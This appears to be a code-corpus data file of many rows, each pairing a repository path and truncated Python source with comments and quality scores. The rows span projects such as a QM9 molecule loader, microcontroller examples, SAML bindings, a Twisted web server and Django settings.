spektral/datasets/qm9.py | JonaBecher/spektral | 2,145 | 1838 | import os
import os.path as osp
import numpy as np
from joblib import Parallel, delayed
from tensorflow.keras.utils import get_file
from tqdm import tqdm
from spektral.data import Dataset, Graph
from spektral.utils import label_to_one_hot, sparse
from spektral.utils.io import load_csv, load_sdf
ATOM_TYPES = [1, 6, 7... | import os
import os.path as osp
import numpy as np
from joblib import Parallel, delayed
from tensorflow.keras.utils import get_file
from tqdm import tqdm
from spektral.data import Dataset, Graph
from spektral.utils import label_to_one_hot, sparse
from spektral.utils.io import load_csv, load_sdf
ATOM_TYPES = [1, 6, 7... | en | 0.80307 | The QM9 chemical data set of small molecules. In this dataset, nodes represent atoms and edges represent chemical bonds. There are 5 possible atom types (H, C, N, O, F) and 4 bond types (single, double, triple, aromatic). Node features represent the chemical properties of each atom and include: -... | 2.437326 | 2 |
code/Level 1 - Intro to CPX/5-acceleration/main.py | tscofield/cpx-training | 0 | 1839 | from adafruit_circuitplayground.express import cpx
# Main loop gets x, y and z axis acceleration, prints the values, and turns on
# red, green and blue, at levels related to the x, y and z values.
while True:
if cpx.switch:
print("Slide switch off!")
cpx.pixels.fill((0, 0, 0))
continue
... | from adafruit_circuitplayground.express import cpx
# Main loop gets x, y and z axis acceleration, prints the values, and turns on
# red, green and blue, at levels related to the x, y and z values.
while True:
if cpx.switch:
print("Slide switch off!")
cpx.pixels.fill((0, 0, 0))
continue
... | en | 0.811342 | # Main loop gets x, y and z axis acceleration, prints the values, and turns on # red, green and blue, at levels related to the x, y and z values. | 3.18767 | 3 |
src/data_preprocess.py | QinganZhao/ML-based-driving-motion-prediction | 18 | 1840 | <reponame>QinganZhao/ML-based-driving-motion-prediction
import numpy as np
import matplotlib.pyplot as plt
import matplotlib as mpl
import matplotlib.patches as patches
def load_data(file_name, car_flag):
if car_flag == 1:
data = np.loadtxt('./car1/'+str(file_name))
elif car_flag == 2:
data = np.load... | import numpy as np
import matplotlib.pyplot as plt
import matplotlib as mpl
import matplotlib.patches as patches
def load_data(file_name, car_flag):
if car_flag == 1:
data = np.loadtxt('./car1/'+str(file_name))
elif car_flag == 2:
data = np.loadtxt('./car2/'+str(file_name))
return data
def get... | en | 0.272067 | Return a data matrix with 0.1s per time step data. (from 0.01s data) This function serves to concatenate the information of two cars into one array.
Note: car1 -- mainlane car;
car2 -- merging car;
OutFormat:
0 case_ID
1 frame_ID
2 car1_long_pos
3 car1_long_vel
4 car1_lateral_pos
5 car1_late... | 2.856861 | 3 |
balancesheet/equityManager.py | tylertjburns/ledgerkeeper | 0 | 1841 | <reponame>tylertjburns/ledgerkeeper<gh_stars>0
import balancesheet.mongoData.equities_data_service as dsvce
from userInteraction.financeCliInteraction import FinanceCliInteraction
import ledgerkeeper.mongoData.account_data_service as dsvca
from balancesheet.enums import EquityClass, AssetType, LiabiltyType, EquityTimeH... | import balancesheet.mongoData.equities_data_service as dsvce
from userInteraction.financeCliInteraction import FinanceCliInteraction
import ledgerkeeper.mongoData.account_data_service as dsvca
from balancesheet.enums import EquityClass, AssetType, LiabiltyType, EquityTimeHorizon, EquityStatus, EquityContingency
import ... | none | 1 | 2.481535 | 2 | |
examples/django/hello_world/wsgi.py | liuyu81/SnapSearch-Client-Python | 0 | 1842 | import os
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "hello_world.settings")
# django WSGI application
from django.core.wsgi import get_wsgi_application
application = get_wsgi_application()
# load SnapSearch API credentials
api_email = "<email>"
api_key = "<key>"
# initialize the interceptor
from SnapSearch im... | import os
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "hello_world.settings")
# django WSGI application
from django.core.wsgi import get_wsgi_application
application = get_wsgi_application()
# load SnapSearch API credentials
api_email = "<email>"
api_key = "<key>"
# initialize the interceptor
from SnapSearch im... | en | 0.544132 | # django WSGI application # load SnapSearch API credentials # initialize the interceptor # deploy the interceptor | 1.616274 | 2 |
confluent_server/confluent/syncfiles.py | xcat2/confluent | 27 | 1843 | # vim: tabstop=4 shiftwidth=4 softtabstop=4
# Copyright 2021 Lenovo
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by ... | # vim: tabstop=4 shiftwidth=4 softtabstop=4
# Copyright 2021 Lenovo
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by ... | en | 0.819938 | # vim: tabstop=4 shiftwidth=4 softtabstop=4 # Copyright 2021 Lenovo # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by a... | 2.128125 | 2 |
fym/models/missile.py | JungYT/fym | 14 | 1844 | <reponame>JungYT/fym<gh_stars>10-100
import numpy as np
from fym.core import BaseSystem
class MissilePlanar(BaseSystem):
R = 288
g = 9.80665
S = 1
t1 = 1.5
t2 = 8.5
name = 'missile'
def __init__(self, initial_state):
super().__init__(initial_state)
def external(self, states,... | import numpy as np
from fym.core import BaseSystem
class MissilePlanar(BaseSystem):
R = 288
g = 9.80665
S = 1
t1 = 1.5
t2 = 8.5
name = 'missile'
def __init__(self, initial_state):
super().__init__(initial_state)
def external(self, states, controls):
return 0
... | en | 0.7573 | # return {"wind" : [(0, 0), (0, 0)]} # no external effects # state and (control) input # temperature # Mach number # Mass and thrust (Note: guidance loop is closed after t=t1) # density and dynamic pressure # y in [0, 20000] # Drag model | 2.957604 | 3 |
egg/zoo/addition/data.py | chengemily/EGG | 1 | 1845 | <filename>egg/zoo/addition/data.py<gh_stars>1-10
# Copyright (c) Facebook, Inc. and its affiliates.
# This source code is licensed under the MIT license found in the
# LICENSE file in the root directory of this source tree.
from typing import Iterable, Optional, Tuple
import torch
from torch.utils.data import DataLo... | <filename>egg/zoo/addition/data.py<gh_stars>1-10
# Copyright (c) Facebook, Inc. and its affiliates.
# This source code is licensed under the MIT license found in the
# LICENSE file in the root directory of this source tree.
from typing import Iterable, Optional, Tuple
import torch
from torch.utils.data import DataLo... | en | 0.938415 | # Copyright (c) Facebook, Inc. and its affiliates. # This source code is licensed under the MIT license found in the # LICENSE file in the root directory of this source tree. | 2.208965 | 2 |
mathfun/lexographic.py | lsbardel/mathfun | 0 | 1846 | """
Next lexicographical permutation algorithm
https://www.nayuki.io/page/next-lexicographical-permutation-algorithm
"""
def next_lexo(S):
b = S[-1]
for i, a in enumerate(reversed(S[:-1]), 2):
if a < b:
# we have the pivot a
for j, b in enumerate(reversed(S), 1):
... | """
Next lexicographical permutation algorithm
https://www.nayuki.io/page/next-lexicographical-permutation-algorithm
"""
def next_lexo(S):
b = S[-1]
for i, a in enumerate(reversed(S[:-1]), 2):
if a < b:
# we have the pivot a
for j, b in enumerate(reversed(S), 1):
... | en | 0.669409 | Next lexicographical permutation algorithm https://www.nayuki.io/page/next-lexicographical-permutation-algorithm # we have the pivot a | 3.66497 | 4 |
simulation-web3py/utility.py | miker83z/cloud-chain | 0 | 1847 | import json
import os
from argparse import ArgumentTypeError
from eth_typing import Address
from web3.contract import Contract
from settings import MIN_VAL, MAX_VAL, DEPLOYED_CONTRACTS, CONFIG_DIR
async def init_simulation(contracts: [], factor: float, fn: str, status_init: bool) -> bool:
statuses = [True]
... | import json
import os
from argparse import ArgumentTypeError
from eth_typing import Address
from web3.contract import Contract
from settings import MIN_VAL, MAX_VAL, DEPLOYED_CONTRACTS, CONFIG_DIR
async def init_simulation(contracts: [], factor: float, fn: str, status_init: bool) -> bool:
statuses = [True]
... | en | 0.794686 | # Use different cloud_addresses for each contract instance Type function for argparse - int within some predefined bounds. | 2.11859 | 2 |
migrations/versions/816ea3631582_add_topics.py | OpenASL/HowSignBot | 9 | 1848 | """add topics
Revision ID: 816ea3631582
Revises: <KEY>
Create Date: 2021-03-13 14:20:10.044131
"""
from alembic import op
import sqlalchemy as sa
import bot
# revision identifiers, used by Alembic.
revision = "816ea3631582"
down_revision = "<KEY>"
branch_labels = None
depends_on = None
def upgrade():
# ### co... | """add topics
Revision ID: 816ea3631582
Revises: <KEY>
Create Date: 2021-03-13 14:20:10.044131
"""
from alembic import op
import sqlalchemy as sa
import bot
# revision identifiers, used by Alembic.
revision = "816ea3631582"
down_revision = "<KEY>"
branch_labels = None
depends_on = None
def upgrade():
# ### co... | en | 0.509571 | add topics Revision ID: 816ea3631582 Revises: <KEY> Create Date: 2021-03-13 14:20:10.044131 # revision identifiers, used by Alembic. # ### commands auto generated by Alembic - please adjust! ### # ### end Alembic commands ### # ### commands auto generated by Alembic - please adjust! ### # ### end Alembic commands ### | 1.503612 | 2 |
src/Lib/importlib/__init__.py | NUS-ALSET/ace-react-redux-brython | 1 | 1849 | """A pure Python implementation of import."""
__all__ = ['__import__', 'import_module', 'invalidate_caches']
# Bootstrap help #####################################################
# Until bootstrapping is complete, DO NOT import any modules that attempt
# to import importlib._bootstrap (directly or indirectly).... | """A pure Python implementation of import."""
__all__ = ['__import__', 'import_module', 'invalidate_caches']
# Bootstrap help #####################################################
# Until bootstrapping is complete, DO NOT import any modules that attempt
# to import importlib._bootstrap (directly or indirectly).... | en | 0.722732 | A pure Python implementation of import. # Bootstrap help ##################################################### # Until bootstrapping is complete, DO NOT import any modules that attempt # to import importlib._bootstrap (directly or indirectly). Since this # partially initialised package would be present in sys.modules, ... | 2.478662 | 2 |
lib/arlunio/arlunio/image.py | swyddfa/stylo | 0 | 1850 | <gh_stars>0
from __future__ import annotations
import base64
import io
import logging
import pathlib
from typing import Optional
# TODO: Remove these, as they should be contained in the numpy backend.
import numpy as np
import PIL.Image as PImage
import arlunio.ast as ast
import arlunio.color as color
import arlunio... | from __future__ import annotations
import base64
import io
import logging
import pathlib
from typing import Optional
# TODO: Remove these, as they should be contained in the numpy backend.
import numpy as np
import PIL.Image as PImage
import arlunio.ast as ast
import arlunio.color as color
import arlunio.mask as mas... | en | 0.619618 | # TODO: Remove these, as they should be contained in the numpy backend. Our representation of an image, implemented as a wrapper around a standard Pillow image. The wrapped pillow image object. # Ensure that our version of an image also plays nice with numpy. # Give nice previews in jupyter notebooks Composites an ... | 2.23525 | 2 |
yamlable/tests/test_yamlable.py | smarie/python-yamlable | 27 | 1851 | from copy import copy
try:
# Python 2 only:
from StringIO import StringIO
# create a variant that can serve as a context manager
class StringIO(StringIO):
def __enter__(self):
return self
def __exit__(self, exception_type, exception_value, traceback):
self.close(... | from copy import copy
try:
# Python 2 only:
from StringIO import StringIO
# create a variant that can serve as a context manager
class StringIO(StringIO):
def __enter__(self):
return self
def __exit__(self, exception_type, exception_value, traceback):
self.close(... | en | 0.711368 | # Python 2 only: # create a variant that can serve as a context manager # python 3.5+ Tests that if __yaml_tag_suffix__ is not provided a YamlAble subclass cannot be declared # __yaml_tag_suffix__ = 'foo' # type: (...) -> Dict[str, Any] # type: Type[Y] # type: Dict[str, Any] # type: str # type: (...) -> Y # instantiate... | 2.1899 | 2 |
src/twisted/web/server.py | vmario/twisted | 0 | 1852 | # -*- test-case-name: twisted.web.test.test_web -*-
# Copyright (c) Twisted Matrix Laboratories.
# See LICENSE for details.
"""
This is a web server which integrates with the twisted.internet infrastructure.
@var NOT_DONE_YET: A token value which L{twisted.web.resource.IResource.render}
implementations can return... | # -*- test-case-name: twisted.web.test.test_web -*-
# Copyright (c) Twisted Matrix Laboratories.
# See LICENSE for details.
"""
This is a web server which integrates with the twisted.internet infrastructure.
@var NOT_DONE_YET: A token value which L{twisted.web.resource.IResource.render}
implementations can return... | en | 0.78387 | # -*- test-case-name: twisted.web.test.test_web -*- # Copyright (c) Twisted Matrix Laboratories. # See LICENSE for details. This is a web server which integrates with the twisted.internet infrastructure. @var NOT_DONE_YET: A token value which L{twisted.web.resource.IResource.render} implementations can return to i... | 2.193846 | 2 |
pycoin/symbols/doge.py | jaschadub/pycoin | 1 | 1853 | from pycoin.networks.bitcoinish import create_bitcoinish_network
network = create_bitcoinish_network(
symbol="DOGE", network_name="Dogecoin", subnet_name="mainnet",
wif_prefix_hex="9e", address_prefix_hex="1e", pay_to_script_prefix_hex="16",
bip32_prv_prefix_hex="<KEY>", bip32_pub_prefix_hex="<KEY>")
| from pycoin.networks.bitcoinish import create_bitcoinish_network
network = create_bitcoinish_network(
symbol="DOGE", network_name="Dogecoin", subnet_name="mainnet",
wif_prefix_hex="9e", address_prefix_hex="1e", pay_to_script_prefix_hex="16",
bip32_prv_prefix_hex="<KEY>", bip32_pub_prefix_hex="<KEY>")
| none | 1 | 2.331299 | 2 | |
Pset/hamming_numbers.py | MarkHershey/python-learning | 9 | 1854 | <reponame>MarkHershey/python-learning
def hamming(n):
"""Returns the nth hamming number"""
hamming = {1}
x = 1
while len(hamming) <= n * 3.5:
new_hamming = {1}
for i in hamming:
new_hamming.add(i * 2)
new_hamming.add(i * 3)
new_hamming.add(i * 5)
... | def hamming(n):
"""Returns the nth hamming number"""
hamming = {1}
x = 1
while len(hamming) <= n * 3.5:
new_hamming = {1}
for i in hamming:
new_hamming.add(i * 2)
new_hamming.add(i * 3)
new_hamming.add(i * 5)
# merge new number into hamming set... | en | 0.538324 | Returns the nth hamming number # merge new number into hamming set # hamming(968) should be 41943040 # hamming(969) should be 41990400 # hamming(970) should be 42187500 | 4.141756 | 4 |
examples/run_merger.py | needlehaystack/needlestack | 3 | 1855 | import logging
from grpc_health.v1 import health_pb2, health_pb2_grpc
from grpc_health.v1.health import HealthServicer
from needlestack.apis import servicers_pb2_grpc
from needlestack.servicers import factory
from needlestack.servicers.merger import MergerServicer
from examples import configs
logging.getLogger("kaz... | import logging
from grpc_health.v1 import health_pb2, health_pb2_grpc
from grpc_health.v1.health import HealthServicer
from needlestack.apis import servicers_pb2_grpc
from needlestack.servicers import factory
from needlestack.servicers.merger import MergerServicer
from examples import configs
logging.getLogger("kaz... | none | 1 | 1.8128 | 2 | |
engine_wrapper.py | lidevelopers/Lishogi-Bot-1 | 0 | 1856 | <filename>engine_wrapper.py<gh_stars>0
import os
import shogi
import backoff
import subprocess
from util import *
import logging
logger = logging.getLogger(__name__)
import engine_ctrl
@backoff.on_exception(backoff.expo, BaseException, max_time=120)
def create_engine(config, board):
cfg = config["engine"]
e... | <filename>engine_wrapper.py<gh_stars>0
import os
import shogi
import backoff
import subprocess
from util import *
import logging
logger = logging.getLogger(__name__)
import engine_ctrl
@backoff.on_exception(backoff.expo, BaseException, max_time=120)
def create_engine(config, board):
cfg = config["engine"]
e... | none | 1 | 2.228321 | 2 | |
examples/python/test_as2.py | sloriot/cgal-swig-bindings | 0 | 1857 | from CGAL.CGAL_Kernel import Point_2
from CGAL.CGAL_Kernel import Weighted_point_2
from CGAL.CGAL_Alpha_shape_2 import Alpha_shape_2
from CGAL.CGAL_Alpha_shape_2 import Weighted_alpha_shape_2
from CGAL.CGAL_Alpha_shape_2 import Weighted_alpha_shape_2_Face_handle
from CGAL.CGAL_Alpha_shape_2 import GENERAL, EXTERIOR, SI... | from CGAL.CGAL_Kernel import Point_2
from CGAL.CGAL_Kernel import Weighted_point_2
from CGAL.CGAL_Alpha_shape_2 import Alpha_shape_2
from CGAL.CGAL_Alpha_shape_2 import Weighted_alpha_shape_2
from CGAL.CGAL_Alpha_shape_2 import Weighted_alpha_shape_2_Face_handle
from CGAL.CGAL_Alpha_shape_2 import GENERAL, EXTERIOR, SI... | none | 1 | 2.327931 | 2 | |
connections/mode.py | pavithra-mahamani/TAF | 0 | 1858 | <reponame>pavithra-mahamani/TAF
'''
Created on Jan 18, 2018
@author: riteshagarwal
'''
java = False
rest = False
cli = False | '''
Created on Jan 18, 2018
@author: riteshagarwal
'''
java = False
rest = False
cli = False | en | 0.734153 | Created on Jan 18, 2018 @author: riteshagarwal | 1.041959 | 1 |
scene_action2.py | encela95dus/ios_pythonista_examples | 36 | 1859 | import scene
class MyScene(scene.Scene):
def setup(self):
self.label_node = scene.LabelNode('A',
position=(100,400), parent=self)
self.start_flag = False
def update(self):
if self.start_flag:
x,y = self.label_node.position
if x < 34... | import scene
class MyScene(scene.Scene):
def setup(self):
self.label_node = scene.LabelNode('A',
position=(100,400), parent=self)
self.start_flag = False
def update(self):
if self.start_flag:
x,y = self.label_node.position
if x < 34... | none | 1 | 3.093639 | 3 | |
bot/commands/disconnect.py | aq1/vkPostman | 1 | 1860 | from bot.commands import BaseCommand
import mongo
class DisconnectCommand(BaseCommand):
_COMMAND = 'disconnect'
_DESCRIPTION = 'Close currently active chat.'
_SUCCESS_MESSAGE = 'Disconnected from chat'
def _callback(self, user, _bot, update, **kwargs):
return self._call(user, _bot, update, ... | from bot.commands import BaseCommand
import mongo
class DisconnectCommand(BaseCommand):
_COMMAND = 'disconnect'
_DESCRIPTION = 'Close currently active chat.'
_SUCCESS_MESSAGE = 'Disconnected from chat'
def _callback(self, user, _bot, update, **kwargs):
return self._call(user, _bot, update, ... | none | 1 | 2.420213 | 2 | |
pysh/bash_vm/shell_command.py | JordanKoeller/Pysch | 0 | 1861 | <reponame>JordanKoeller/Pysch
from __future__ import annotations
import subprocess
import os
from typing import List, Dict, Iterator, Optional, Tuple
class ShellCommand:
def __init__(self, cmd: str):
self.run_args = [
"bash", "-c", f'{cmd}'
]
# self.run_args: List[str] = [ex... | from __future__ import annotations
import subprocess
import os
from typing import List, Dict, Iterator, Optional, Tuple
class ShellCommand:
def __init__(self, cmd: str):
self.run_args = [
"bash", "-c", f'{cmd}'
]
# self.run_args: List[str] = [executable, *args]
def exe... | en | 0.286805 | # self.run_args: List[str] = [executable, *args] | 2.595646 | 3 |
indico/web/forms/fields/protection.py | jgrigera/indico | 1 | 1862 | <reponame>jgrigera/indico<filename>indico/web/forms/fields/protection.py<gh_stars>1-10
# This file is part of Indico.
# Copyright (C) 2002 - 2020 CERN
#
# Indico is free software; you can redistribute it and/or
# modify it under the terms of the MIT License; see the
# LICENSE file for more details.
from __future__ imp... | # This file is part of Indico.
# Copyright (C) 2002 - 2020 CERN
#
# Indico is free software; you can redistribute it and/or
# modify it under the terms of the MIT License; see the
# LICENSE file for more details.
from __future__ import absolute_import, unicode_literals
from flask import render_template
from markupsaf... | en | 0.841068 | # This file is part of Indico. # Copyright (C) 2002 - 2020 CERN # # Indico is free software; you can redistribute it and/or # modify it under the terms of the MIT License; see the # LICENSE file for more details. | 1.913656 | 2 |
src/saml2/saml.py | masterapps-au/pysaml2 | 0 | 1863 | <reponame>masterapps-au/pysaml2
#!/usr/bin/env python
#
# Generated Mon May 2 14:23:33 2011 by parse_xsd.py version 0.4.
#
# A summary of available specifications can be found at:
# https://wiki.oasis-open.org/security/FrontPage
#
# saml core specifications to be found at:
# if any question arise please query the fol... | #!/usr/bin/env python
#
# Generated Mon May 2 14:23:33 2011 by parse_xsd.py version 0.4.
#
# A summary of available specifications can be found at:
# https://wiki.oasis-open.org/security/FrontPage
#
# saml core specifications to be found at:
# if any question arise please query the following pdf.
# http://docs.oasis-... | en | 0.661092 | #!/usr/bin/env python # # Generated Mon May 2 14:23:33 2011 by parse_xsd.py version 0.4. # # A summary of available specifications can be found at: # https://wiki.oasis-open.org/security/FrontPage # # saml core specifications to be found at: # if any question arise please query the following pdf. # http://docs.oasis-o... | 2.008297 | 2 |
ROS_packages/custom_ROS_envs/turtlebot2_maze_env/src/turtlebot2_maze_random.py | PierreExeter/custom_gym_envs | 1 | 1864 | <reponame>PierreExeter/custom_gym_envs<filename>ROS_packages/custom_ROS_envs/turtlebot2_maze_env/src/turtlebot2_maze_random.py<gh_stars>1-10
#!/usr/bin/env python
import gym
import rospy
from openai_ros.openai_ros_common import StartOpenAI_ROS_Environment
# initialise environment
rospy.init_node('turtlebot2_maze_rand... | #!/usr/bin/env python
import gym
import rospy
from openai_ros.openai_ros_common import StartOpenAI_ROS_Environment
# initialise environment
rospy.init_node('turtlebot2_maze_random', anonymous=True, log_level=rospy.WARN)
task_and_robot_environment_name = rospy.get_param('/turtlebot2/task_and_robot_environment_name')
e... | en | 0.31762 | #!/usr/bin/env python # initialise environment # print(env.action_space.high) # print(env.action_space.low) | 2.683125 | 3 |
solver.py | jacobchh/Sudoku-Solver | 1 | 1865 | import numpy as np
board = np.zeros(shape=(9, 9))
count = 0
def solve():
global count
count += 1
if count % 1000 == 0:
print('\rCurrent number of computations made:', count, end='')
freePos = find()
if freePos is None:
return True
i = freePos[0]
j = freePos[1]
for w in... | import numpy as np
board = np.zeros(shape=(9, 9))
count = 0
def solve():
global count
count += 1
if count % 1000 == 0:
print('\rCurrent number of computations made:', count, end='')
freePos = find()
if freePos is None:
return True
i = freePos[0]
j = freePos[1]
for w in... | en | 0.594399 | # position = (i, j) tuple # checks row and column for repeat value # reset to i,j - top left square # check all squares in square # position = (i, j) tuple | 3.461661 | 3 |
01_basics/01_building_expressions/02_vector_mat_soln.py | johny-c/theano_exercises | 711 | 1866 | <filename>01_basics/01_building_expressions/02_vector_mat_soln.py
import numpy as np
from theano import function
import theano.tensor as T
def make_vector():
"""
Returns a new Theano vector.
"""
return T.vector()
def make_matrix():
"""
Returns a new Theano matrix.
"""
return T.matrix... | <filename>01_basics/01_building_expressions/02_vector_mat_soln.py
import numpy as np
from theano import function
import theano.tensor as T
def make_vector():
"""
Returns a new Theano vector.
"""
return T.vector()
def make_matrix():
"""
Returns a new Theano matrix.
"""
return T.matrix... | en | 0.47272 | Returns a new Theano vector. Returns a new Theano matrix. a: A theano matrix b: A theano matrix Returns the elementwise product of a and b a: A theano matrix b: A theano vector Returns the matrix-vector product of a and b | 3.053802 | 3 |
nova/api/openstack/compute/used_limits.py | bopopescu/nova-8 | 0 | 1867 | # Copyright 2012 OpenStack Foundation
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law ... | # Copyright 2012 OpenStack Foundation
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law ... | en | 0.845761 | # Copyright 2012 OpenStack Foundation # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law ... | 1.830817 | 2 |
tf_agents/bandits/agents/examples/v2/trainer.py | howards11/agents | 3,175 | 1868 | <reponame>howards11/agents<filename>tf_agents/bandits/agents/examples/v2/trainer.py
# coding=utf-8
# Copyright 2020 The TF-Agents Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# ... | # coding=utf-8
# Copyright 2020 The TF-Agents Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable la... | en | 0.814308 | # coding=utf-8 # Copyright 2020 The TF-Agents Authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable la... | 1.718607 | 2 |
rally_openstack/cfg/manila.py | RSE-Cambridge/rally-openstack | 0 | 1869 | <filename>rally_openstack/cfg/manila.py
# Copyright 2013: Mirantis Inc.
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licen... | <filename>rally_openstack/cfg/manila.py
# Copyright 2013: Mirantis Inc.
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licen... | en | 0.846486 | # Copyright 2013: Mirantis Inc. # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required b... | 1.642888 | 2 |
app/backend/app/crud/crud_register_invoice.py | matayoos/invoice-scrapper | 0 | 1870 | <gh_stars>0
from sqlalchemy.orm.session import Session
from app import crud
from .utils import insert, get_content
def register_invoice(db: Session, url: str):
content = get_content.get_invoice_info(url)
grocery_store_id = insert.insert_grocery_store_info(
db, obj_in=content["grocery_store"]
)
... | from sqlalchemy.orm.session import Session
from app import crud
from .utils import insert, get_content
def register_invoice(db: Session, url: str):
content = get_content.get_invoice_info(url)
grocery_store_id = insert.insert_grocery_store_info(
db, obj_in=content["grocery_store"]
)
invoice_... | none | 1 | 2.637532 | 3 | |
examples/web/handlers.py | nicoddemus/aioworkers | 45 | 1871 | <reponame>nicoddemus/aioworkers<filename>examples/web/handlers.py
async def handler(context):
return await context.data
| async def handler(context):
return await context.data | none | 1 | 1.228628 | 1 | |
tools/genapixml.py | garronej/linphone | 0 | 1872 | #!/usr/bin/python
# Copyright (C) 2014 Belledonne Communications SARL
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.... | #!/usr/bin/python
# Copyright (C) 2014 Belledonne Communications SARL
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.... | en | 0.870346 | #!/usr/bin/python # Copyright (C) 2014 Belledonne Communications SARL # # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. ... | 2.22225 | 2 |
examples/src/python/join_streamlet_topology.py | aaronstjohn/incubator-heron | 2 | 1873 | <filename>examples/src/python/join_streamlet_topology.py
#!/usr/bin/env python
# -*- encoding: utf-8 -*-
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownershi... | <filename>examples/src/python/join_streamlet_topology.py
#!/usr/bin/env python
# -*- encoding: utf-8 -*-
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownershi... | en | 0.836312 | #!/usr/bin/env python # -*- encoding: utf-8 -*- # Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache ... | 2.046735 | 2 |
yolk/test/utils.py | yolkdata/yolk-python | 0 | 1874 | <reponame>yolkdata/yolk-python
from datetime import date, datetime, timedelta
from decimal import Decimal
import unittest
from dateutil.tz import tzutc
import six
from yolk import utils
class TestUtils(unittest.TestCase):
def test_timezone_utils(self):
now = datetime.now()
utcnow = datetime.now... | from datetime import date, datetime, timedelta
from decimal import Decimal
import unittest
from dateutil.tz import tzutc
import six
from yolk import utils
class TestUtils(unittest.TestCase):
def test_timezone_utils(self):
now = datetime.now()
utcnow = datetime.now(tz=tzutc())
self.asser... | none | 1 | 2.544682 | 3 | |
09Scan/matrix.py | kw1122/MKS66 | 0 | 1875 | <reponame>kw1122/MKS66<gh_stars>0
"""
A matrix will be an N sized list of 4 element lists.
Each individual list will represent an [x, y, z, 1] point.
For multiplication purposes, consider the lists like so:
x0 x1 xn
y0 y1 yn
z0 z1 ... zn
1 1 1
"""
import math
def make_bezier():
re... | """
A matrix will be an N sized list of 4 element lists.
Each individual list will represent an [x, y, z, 1] point.
For multiplication purposes, consider the lists like so:
x0 x1 xn
y0 y1 yn
z0 z1 ... zn
1 1 1
"""
import math
def make_bezier():
return [
[-1, 3, -3, 1],
... | en | 0.751834 | A matrix will be an N sized list of 4 element lists.
Each individual list will represent an [x, y, z, 1] point.
For multiplication purposes, consider the lists like so:
x0 x1 xn
y0 y1 yn
z0 z1 ... zn
1 1 1 #print the matrix such that it looks like #the template in the top comment #turn the p... | 4.015937 | 4 |
tests/test.py | Nekmo/spice | 0 | 1876 | <reponame>Nekmo/spice<gh_stars>0
from bs4 import BeautifulSoup
import requests
import sys, os
from time import sleep
sys.path.insert(0, '/home/may/Dropbox/Programming/spice/')
import spice_api as spice
def main():
creds = spice.load_auth_from_file('auth')
print(creds)
results = spice.search('Re:Zero Kar... | from bs4 import BeautifulSoup
import requests
import sys, os
from time import sleep
sys.path.insert(0, '/home/may/Dropbox/Programming/spice/')
import spice_api as spice
def main():
creds = spice.load_auth_from_file('auth')
print(creds)
results = spice.search('Re:Zero Kara Hajimeru Isekai Seikatsu', spic... | none | 1 | 2.328941 | 2 | |
backend/project/settings.py | prog-serhii/MyMoney_v2 | 1 | 1877 | import os
from pathlib import Path
from datetime import timedelta
from celery.schedules import crontab
from django.utils.translation import gettext_lazy as _
# Build paths inside the project like this: BASE_DIR / 'subdir'.
BASE_DIR = Path(__file__).resolve().parent.parent
SECRET_KEY = os.environ.get(
'SECRET_... | import os
from pathlib import Path
from datetime import timedelta
from celery.schedules import crontab
from django.utils.translation import gettext_lazy as _
# Build paths inside the project like this: BASE_DIR / 'subdir'.
BASE_DIR = Path(__file__).resolve().parent.parent
SECRET_KEY = os.environ.get(
'SECRET_... | en | 0.535174 | # Build paths inside the project like this: BASE_DIR / 'subdir'. # SECURITY WARNING: don't run with debug turned on in production! # 'DJANGO_ALLOWED_HOSTS' should be a single string of hosts with a space between each. # For example: 'DJANGO_ALLOWED_HOSTS=localhost 127.0.0.1 [::1]' # Application definition # Database # ... | 1.97399 | 2 |
app/flaskApp/config.py | jeanmarc2019/PTHacks2019-Planning | 0 | 1878 | import configparser
import os
dir_path = os.path.dirname(os.path.realpath(__file__))
